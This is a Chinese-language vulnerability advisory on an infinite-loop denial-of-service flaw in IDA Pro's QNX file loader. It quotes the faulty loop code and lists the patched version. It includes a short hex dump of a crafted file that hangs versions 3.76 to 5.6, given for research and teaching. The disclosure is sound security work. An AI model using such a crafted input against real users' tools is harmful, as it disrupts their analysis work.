IDA Pro QNX文件加载器拒绝服务漏洞

受影响系统:

Hex-Rays IDA Pro 3.76 – 5.6

不受影响系统:

Hex-Rays IDA Pro 5.7

描述:

IDA Pro是非常流行的静态反编译软件。

IDA Pro使用了不同的文件加载器来反汇编不同格式的文件,其中QNX文件加载器中的漏洞可能触发死循环,导致耗尽100%的CPU资源,无法继续进行反汇编。

以下for循环用于对输入文件中的每个lmf_data结构都进行一次迭代,根据sizeof(lmf_data) + lmf_data.offset)向前移动文件指针。但如果lmf_data.offset == -sizeof(lmf_data),由于没有增加,因此代码会陷入死循环:

From \ldr\qnx\qnx.cpp(50):
  for(uint32 at = sizeof(ex.lmf_header)+ex.lmf_header.data_nbytes;
      lmf_data.segment_index != _LMF_EOF_REC;
      at += sizeof(lmf_data) + lmf_data.offset)
  {
    qlseek( li, at, 0 );
    if ( sizeof(_lmf_data) !=
            qlread( li, &lmf_data, sizeof(_lmf_data) ) ) return 0;
    switch(lmf_data.segment_index)
    {

      case _LMF_COMMENT_REC:
        break;

    }
  }

<*来源:Jason Geffner
  
  链接:
http://marc.info/?l=bugtraq&m=127774213417603&w=2
*>

测试方法:
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
00000000:  00 00 34 00 00 00 b4 09 eb 02 82 01 ba 13 01 cd    ..4………….
00000010:  21 cd 20 49 20 63 61 6e 27 74 20 62 65 20 6f 70    !. I can’t be op
00000020:  65 6e 65 64 20 69 6e 20 49 44 41 20 50 72 6f 20    ened in IDA Pro
00000030:  3a 29 24 00 00 00 00 00 00 00 01 00 fa ff ff ff    :)$………….
00000040:  00 00 00 00 00 00

建议:

 

厂商补丁:

Hex-Rays
——–
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

https://www.hex-rays.com/updida.shtml

发表评论?

0 条评论。

发表评论